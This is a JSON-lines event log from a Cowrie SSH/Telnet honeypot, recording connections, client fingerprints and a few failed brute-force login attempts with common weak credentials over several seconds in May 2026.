{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34308,"dst_ip":"10.17.0.5","dst_port":22,"session":"078261e7e963","protocol":"ssh","message":"New connection: 176.65.132.254:34308 (10.17.0.5:22) [session: 078261e7e963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:28.475188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:28.479257Z","src_ip":"176.65.132.254","session":"078261e7e963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:28.562866Z","src_ip":"176.65.132.254","session":"078261e7e963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:28.837332Z","src_ip":"176.65.132.254","session":"078261e7e963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.78246212005615,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:29.002520Z","src_ip":"134.209.8.29","session":"f5f1708923a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:29.939172Z","src_ip":"176.65.132.254","session":"078261e7e963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54646,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8927391a002","protocol":"ssh","message":"New connection: 176.65.132.254:54646 (10.17.0.5:22) [session: f8927391a002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:32.666178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:32.670636Z","src_ip":"176.65.132.254","session":"f8927391a002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:32.751409Z","src_ip":"176.65.132.254","session":"f8927391a002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46402,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f5be18f59c","protocol":"telnet","message":"New connection: 62.210.97.77:46402 (10.17.0.5:23) [session: f0f5be18f59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:32.837830Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46406,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c5bb27c2ab2","protocol":"telnet","message":"New connection: 62.210.97.77:46406 (10.17.0.5:23) [session: 5c5bb27c2ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:32.962606Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:33.020383Z","src_ip":"176.65.132.254","session":"f8927391a002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46422,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f736d39c7e","protocol":"telnet","message":"New connection: 62.210.97.77:46422 (10.17.0.5:23) [session: 07f736d39c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:33.771281Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:34.104307Z","src_ip":"176.65.132.254","session":"f8927391a002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46424,"dst_ip":"10.17.0.5","dst_port":23,"session":"00967eec0148","protocol":"telnet","message":"New connection: 62.210.97.77:46424 (10.17.0.5:23) [session: 00967eec0148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:34.150279Z"}
{"eventid":"cowrie.session.closed","duration":34.88756966590881,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:34.483583Z","src_ip":"62.210.97.77","session":"09dd5d230b63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40986,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f371400551e","protocol":"telnet","message":"New connection: 65.60.27.33:40986 (10.17.0.5:23) [session: 1f371400551e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:34.562655Z"}
{"eventid":"cowrie.session.closed","duration":37.757235527038574,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:34.740328Z","src_ip":"134.209.8.29","session":"45f4299e53fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.90615487098694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:35.024079Z","src_ip":"62.210.97.77","session":"b3991df6c7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46436,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc7ed8b9234d","protocol":"telnet","message":"New connection: 62.210.97.77:46436 (10.17.0.5:23) [session: fc7ed8b9234d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:35.159830Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46452,"dst_ip":"10.17.0.5","dst_port":23,"session":"5efb2e784d1a","protocol":"telnet","message":"New connection: 62.210.97.77:46452 (10.17.0.5:23) [session: 5efb2e784d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:35.243944Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3442cc9f2b2","protocol":"telnet","message":"New connection: 62.210.97.77:46464 (10.17.0.5:23) [session: f3442cc9f2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:35.315235Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54668,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb8f7d84a2b7","protocol":"ssh","message":"New connection: 176.65.132.254:54668 (10.17.0.5:22) [session: fb8f7d84a2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:36.667606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:36.672137Z","src_ip":"176.65.132.254","session":"fb8f7d84a2b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:36.754667Z","src_ip":"176.65.132.254","session":"fb8f7d84a2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:37.001207Z","src_ip":"176.65.132.254","session":"fb8f7d84a2b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:38.086660Z","src_ip":"176.65.132.254","session":"fb8f7d84a2b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46468,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e1d501e2299","protocol":"telnet","message":"New connection: 62.210.97.77:46468 (10.17.0.5:23) [session: 1e1d501e2299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:38.264538Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52456,"dst_ip":"10.17.0.5","dst_port":23,"session":"4acfd41bafc1","protocol":"telnet","message":"New connection: 62.210.97.77:52456 (10.17.0.5:23) [session: 4acfd41bafc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:38.639782Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52460,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f575d88caa8","protocol":"telnet","message":"New connection: 62.210.97.77:52460 (10.17.0.5:23) [session: 6f575d88caa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:38.989746Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52462,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac2c9977058","protocol":"telnet","message":"New connection: 62.210.97.77:52462 (10.17.0.5:23) [session: 6ac2c9977058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:39.109221Z"}
{"eventid":"cowrie.session.closed","duration":31.906013011932373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:40.139113Z","src_ip":"62.210.97.77","session":"4a868a17aaeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.4195191860199,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:40.485127Z","src_ip":"134.209.8.29","session":"4c4c6f7b85f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54682,"dst_ip":"10.17.0.5","dst_port":22,"session":"72cf3fec9c7b","protocol":"ssh","message":"New connection: 176.65.132.254:54682 (10.17.0.5:22) [session: 72cf3fec9c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:40.653382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:40.657632Z","src_ip":"176.65.132.254","session":"72cf3fec9c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:40.739877Z","src_ip":"176.65.132.254","session":"72cf3fec9c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:40.984412Z","src_ip":"176.65.132.254","session":"72cf3fec9c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.91585350036621,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:41.424698Z","src_ip":"62.210.97.77","session":"87d3725f8d50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52472,"dst_ip":"10.17.0.5","dst_port":23,"session":"a48247a5f8ee","protocol":"telnet","message":"New connection: 62.210.97.77:52472 (10.17.0.5:23) [session: a48247a5f8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:41.912399Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:42.087150Z","src_ip":"176.65.132.254","session":"72cf3fec9c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.99699568748474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:42.415880Z","src_ip":"62.210.97.77","session":"9390a2ccc810","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60560,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6839da1f85d","protocol":"telnet","message":"New connection: 38.54.119.93:60560 (10.17.0.5:23) [session: c6839da1f85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:42.785218Z"}
{"eventid":"cowrie.session.closed","duration":31.021897077560425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:43.394201Z","src_ip":"62.210.97.77","session":"16234b57a012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17512,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b54134d9526","protocol":"ssh","message":"New connection: 190.129.122.12:17512 (10.17.0.5:22) [session: 0b54134d9526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:43.627529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:43.632208Z","src_ip":"190.129.122.12","session":"0b54134d9526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:43.805304Z","src_ip":"190.129.122.12","session":"0b54134d9526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"test","message":"login attempt [ts/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:44.531833Z","src_ip":"190.129.122.12","session":"0b54134d9526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42604,"dst_ip":"10.17.0.5","dst_port":22,"session":"09a69cde8c1a","protocol":"ssh","message":"New connection: 176.65.132.254:42604 (10.17.0.5:22) [session: 09a69cde8c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:44.858732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:44.863921Z","src_ip":"176.65.132.254","session":"09a69cde8c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:44.946135Z","src_ip":"176.65.132.254","session":"09a69cde8c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52480,"dst_ip":"10.17.0.5","dst_port":23,"session":"4effd01be557","protocol":"telnet","message":"New connection: 62.210.97.77:52480 (10.17.0.5:23) [session: 4effd01be557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:45.084586Z"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:45.192925Z","src_ip":"176.65.132.254","session":"09a69cde8c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:09:45.707460Z","src_ip":"190.129.122.12","session":"0b54134d9526","protocol":"ssh"}
